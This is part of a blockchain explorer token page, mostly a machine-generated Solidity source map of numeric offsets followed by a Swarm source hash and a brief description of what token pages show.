;;;11163:15;;11147:32;;11124:55;11120:196;;;11212:15;;11200:9;:27;11274:17;;11256:13;;:44;;-1:-1:-1;;;;;11274:17:0;:25;11256:17;:44::i;:::-;11246:7;:54;11120:196;11343:41;11358:4;11364:2;11368:6;11376:7;11343:14;:41::i;:::-;9160:2232;9057:2335;;;:::o;2483:224::-;2603:7;2639:12;2631:6;;;;2623:29;;;;-1:-1:-1;;;2623:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2663:9:0;2675:5;2679:1;2675;:5;:::i;:::-;2663:17;2483:224;-1:-1:-1;;;;;2483:224:0:o;11893:101::-;11950:19;;:36;;-1:-1:-1;;;;;11950:19:0;;;;:36;;;;;11979:6;;11950:19;:36;:19;:36;11979:6;11950:19;:36;;;;;;;;;;;;;;;;;;;;;11893:101;:::o;8112:202::-;8207:7;8232:19;8254:10;:8;:10::i;:::-;8232:32;-1:-1:-1;8282:24:0;:7;8232:32;8282:11;:24::i;:::-;8275:31;8112:202;-1:-1:-1;;;8112:202:0:o;11401:483::-;5948:6;:13;;-1:-1:-1;;;;5948:13:0;-1:-1:-1;;;5948:13:0;;;11503:16:::1;::::0;;11517:1:::1;11503:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11503:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11503:16:0::1;11479:40;;11548:4;11530;11535:1;11530:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11530:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11574:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11574:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11530:7;;11574:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11564:4;11569:1;11564:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11564:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11639:15:::1;::::0;11607:62:::1;::::0;11624:4:::1;::::0;11639:15:::1;11657:11:::0;11607:8:::1;:62::i;:::-;11680:15;::::0;:196:::1;::::0;-1:-1:-1;;;11680:196:0;;-1:-1:-1;;;;;11680:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11761:11;;11680:15:::1;::::0;11803:4;;11830::::1;::::0;11850:15:::1;::::0;11680:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5984:6:0;:14;;-1:-1:-1;;;;5984:14:0;;;-1:-1:-1;;;;11401:483:0:o;2338:136::-;2396:7;2423:43;2427:1;2430;2423:43;;;;;;;;;;;;;;;;;:3;:43::i;12493:282::-;12649:7;12644:28;;12658:14;:12;:14::i;:::-;12683:44;12701:6;12709:9;12720:6;12683:17;:44::i;:::-;12743:7;12738:29;;12752:15;8609:17;;8597:9;:29;8647:15;;8637:7;:25;8553:117;15530:164;15572:7;15593:15;15610;15629:19;:17;:19::i;:::-;15592:56;;-1:-1:-1;15592:56:0;-1:-1:-1;15666:20:0;15592:56;;15666:11;:20::i;:::-;15659:27;;;;15530:164;:::o;2971:132::-;3029:7;3056:39;3060:1;3063;3056:39;;;;;;;;;;;;;;;;;:3;:39::i;8323:221::-;8370:9;;:14;:30;;;;-1:-1:-1;8388:7:0;;:12;8370:30;8366:43;;;8323:221::o;8366:43::-;8442:9;;;8422:17;:29;8480:7;;;8462:15;:25;-1:-1:-1;8501:13:0;;;;8525:11;8323:221::o;12784:637::-;13137:17;;12931:15;;;;;;;;;;;;13118:46;;-1:-1:-1;;;;;13129:25:0;;;13137:17;;13129:25;;13156:7;13118:10;:46::i;:::-;-1:-1:-1;;;;;13193:15:0;;;;;;:7;:15;;;;;;12916:248;;-1:-1:-1;12916:248:0;;-1:-1:-1;12916:248:0;;-1:-1:-1;12916:248:0;-1:-1:-1;12916:248:0;-1:-1:-1;12916:248:0;-1:-1:-1;13193:28:0;;12916:248;13193:19;:28::i;:::-;-1:-1:-1;;;;;13175:15:0;;;;;;;:7;:15;;;;;;:46;;;;13253:18;;;;;;;:39;;13276:15;13253:22;:39::i;:::-;-1:-1:-1;;;;;13232:18:0;;;;;;:7;:18;;;;;:60;13303:16;13313:5;13303:9;:16::i;:::-;13330:23;13342:4;13348;13330:11;:23::i;:::-;13386:9;-1:-1:-1;;;;;13369:44:0;13378:6;-1:-1:-1;;;;;13369:44:0;;13397:15;13369:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13369:44:0;;;;;;;;12905:516;;;;;;12784:637;;;:::o;15703:257::-;15801:7;;15754;;;;;4801:15;4461:1;4801:2;:15;:::i;:::-;4785:31;;:13;:31;:::i;:::-;15819:25;-1:-1:-1;15869:20:0;4801:15;4461:1;4801:2;:15;:::i;:::-;4785:31;;:13;:31;:::i;:::-;15869:7;;;:11;:20::i;:::-;15859:7;:30;15855:61;;;15899:7;;4801:15;4461:1;4801:2;:15;:::i;:::-;4785:31;;:13;:31;:::i;:::-;15891:25;;;;;;15703:257;;:::o;15855:61::-;15935:7;;15944;;-1:-1:-1;15703:257:0;-1:-1:-1;15703:257:0:o;3112:223::-;3232:7;3267:12;3260:5;3252:28;;;;-1:-1:-1;;;3252:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3291:9:0;3303:5;3307:1;3303;:5;:::i;13844:654::-;13958:7;13980;14002;14024;14046;14068;14104:23;14129:12;14143:13;14173:40;14185:7;14194:9;;14205:7;;14173:11;:40::i;:::-;14103:110;;;;;;14224:19;14246:10;:8;:10::i;:::-;14224:32;;14268:15;14285:23;14310:12;14339:46;14351:7;14360:4;14366:5;14373:11;14339;:46::i;:::-;14267:118;;;;;;14392:7;14387:23;;14409:1;14401:9;;14387:23;14429:7;;14438:15;;-1:-1:-1;14429:7:0;;-1:-1:-1;14461:15:0;;-1:-1:-1;14478:4:0;;-1:-1:-1;14478:4:0;-1:-1:-1;13844:654:0;;-1:-1:-1;;;;13844:654:0:o;2150:179::-;2208:7;;2240:5;2244:1;2240;:5;:::i;:::-;2228:17;;2269:1;2264;:6;;2256:46;;;;-1:-1:-1;;;2256:46:0;;13050:2:1;2256:46:0;;;13032:21:1;13089:2;13069:18;;;13062:30;13128:29;13108:18;;;13101:57;13175:18;;2256:46:0;12848:351:1;13430:211:0;13483:19;13505:10;:8;:10::i;:::-;13483:32;-1:-1:-1;13526:13:0;13542:22;:5;13483:32;13542:9;:22::i;:::-;13616:4;13600:22;;;;:7;:22;;;;;;13526:38;;-1:-1:-1;13600:33:0;;13526:38;13600:26;:33::i;:::-;13591:4;13575:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13430:211:0:o;13650:147::-;13728:7;;:17;;13740:4;13728:11;:17::i;:::-;13718:7;:27;13769:10;;:20;;13784:4;13769:14;:20::i;:::-;13756:10;:33;-1:-1:-1;;13650:147:0:o;14507:469::-;14676:7;;;;14770:30;14796:3;14770:21;:7;14782:8;14770:11;:21::i;:::-;:25;;:30::i;:::-;14755:45;-1:-1:-1;14811:13:0;14827:28;14851:3;14827:19;:7;14839:6;14827:11;:19::i;:28::-;14811:44;-1:-1:-1;14866:23:0;14892:28;14811:44;14892:17;:7;14904:4;14892:11;:17::i;:::-;:21;;:28::i;:::-;14866:54;14956:4;;-1:-1:-1;14962:5:0;;-1:-1:-1;14507:469:0;;-1:-1:-1;;;;;14507:469:0:o;14985:536::-;15179:7;;;;15276:24;:7;15288:11;15276;:24::i;:::-;15258:42;-1:-1:-1;15311:12:0;15326:21;:4;15335:11;15326:8;:21::i;:::-;15311:36;-1:-1:-1;15358:13:0;15374:22;:5;15384:11;15374:9;:22::i;:::-;15358:38;-1:-1:-1;15407:23:0;15433:28;15358:38;15433:17;:7;15445:4;15433:11;:17::i;:28::-;15482:7;;;;-1:-1:-1;15508:4:0;;-1:-1:-1;14985:536:0;;-1:-1:-1;;;;;;;14985:536:0:o;2716:246::-;2774:7;2798:1;2803;2798:6;2794:47;;-1:-1:-1;2828:1:0;2821:8;;2794:47;2851:9;2863:5;2867:1;2863;:5;:::i;:::-;2851:17;-1:-1:-1;2896:1:0;2887:5;2891:1;2851:17;2887:5;:::i;:::-;:10;2879:56;;;;-1:-1:-1;;;2879:56:0;;13406:2:1;2879:56:0;;;13388:21:1;13445:2;13425:18;;;13418:30;13484:34;13464:18;;;13457:62;-1:-1:-1;;;13535:18:1;;;13528:31;13576:19;;2879:56:0;13204:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:180::-;3078:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;-1:-1:-1;3170:23:1;;3019:180;-1:-1:-1;3019:180:1:o;3204:388::-;3272:6;3280;3333:2;3321:9;3312:7;3308:23;3304:32;3301:52;;;3349:1;3346;3339:12;3301:52;3388:9;3375:23;3407:31;3432:5;3407:31;:::i;:::-;3457:5;-1:-1:-1;3514:2:1;3499:18;;3486:32;3527:33;3486:32;3527:33;:::i;:::-;3579:7;3569:17;;;3204:388;;;;;:::o;3597:127::-;3658:10;3653:3;3649:20;3646:1;3639:31;3689:4;3686:1;3679:15;3713:4;3710:1;3703:15;3729:422;3818:1;3861:5;3818:1;3875:270;3896:7;3886:8;3883:21;3875:270;;;3955:4;3951:1;3947:6;3943:17;3937:4;3934:27;3931:53;;;3964:18;;:::i;:::-;4014:7;4004:8;4000:22;3997:55;;;4034:16;;;;3997:55;4113:22;;;;4073:15;;;;3875:270;;;3879:3;3729:422;;;;;:::o;4156:806::-;4205:5;4235:8;4225:80;;-1:-1:-1;4276:1:1;4290:5;;4225:80;4324:4;4314:76;;-1:-1:-1;4361:1:1;4375:5;;4314:76;4406:4;4424:1;4419:59;;;;4492:1;4487:130;;;;4399:218;;4419:59;4449:1;4440:10;;4463:5;;;4487:130;4524:3;4514:8;4511:17;4508:43;;;4531:18;;:::i;:::-;-1:-1:-1;;4587:1:1;4573:16;;4602:5;;4399:218;;4701:2;4691:8;4688:16;4682:3;4676:4;4673:13;4669:36;4663:2;4653:8;4650:16;4645:2;4639:4;4636:12;4632:35;4629:77;4626:159;;;-1:-1:-1;4738:19:1;;;4770:5;;4626:159;4817:34;4842:8;4836:4;4817:34;:::i;:::-;4887:6;4883:1;4879:6;4875:19;4866:7;4863:32;4860:58;;;4898:18;;:::i;:::-;4936:20;;4156:806;-1:-1:-1;;;4156:806:1:o;4967:140::-;5025:5;5054:47;5095:4;5085:8;5081:19;5075:4;5054:47;:::i;5112:168::-;5185:9;;;5216;;5233:15;;;5227:22;;5213:37;5203:71;;5254:18;;:::i;5285:356::-;5487:2;5469:21;;;5506:18;;;5499:30;5565:34;5560:2;5545:18;;5538:62;5632:2;5617:18;;5285:356::o;5998:251::-;6068:6;6121:2;6109:9;6100:7;6096:23;6092:32;6089:52;;;6137:1;6134;6127:12;6089:52;6169:9;6163:16;6188:31;6213:5;6188:31;:::i;7175:306::-;7263:6;7271;7279;7332:2;7320:9;7311:7;7307:23;7303:32;7300:52;;;7348:1;7345;7338:12;7300:52;7377:9;7371:16;7361:26;;7427:2;7416:9;7412:18;7406:25;7396:35;;7471:2;7460:9;7456:18;7450:25;7440:35;;7175:306;;;;;:::o;10710:125::-;10775:9;;;10796:10;;;10793:36;;;10809:18;;:::i;11244:128::-;11311:9;;;11332:11;;;11329:37;;;11346:18;;:::i;11509:127::-;11570:10;11565:3;11561:20;11558:1;11551:31;11601:4;11598:1;11591:15;11625:4;11622:1;11615:15;11641:980;11903:4;11951:3;11940:9;11936:19;11982:6;11971:9;11964:25;12008:2;12046:6;12041:2;12030:9;12026:18;12019:34;12089:3;12084:2;12073:9;12069:18;12062:31;12113:6;12148;12142:13;12179:6;12171;12164:22;12217:3;12206:9;12202:19;12195:26;;12256:2;12248:6;12244:15;12230:29;;12277:1;12287:195;12301:6;12298:1;12295:13;12287:195;;;12366:13;;-1:-1:-1;;;;;12362:39:1;12350:52;;12457:15;;;;12422:12;;;;12398:1;12316:9;12287:195;;;-1:-1:-1;;;;;;;12538:32:1;;;;12533:2;12518:18;;12511:60;-1:-1:-1;;;12602:3:1;12587:19;12580:35;12499:3;11641:980;-1:-1:-1;;;11641:980:1:o;12626:217::-;12666:1;12692;12682:132;;12736:10;12731:3;12727:20;12724:1;12717:31;12771:4;12768:1;12761:15;12799:4;12796:1;12789:15;12682:132;-1:-1:-1;12828:9:1;;12626:217::o

Swarm Source

ipfs://0a3bb81d5667010d02f66297a79d5d3021540269a4cd35f4df9df988eddbd563
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.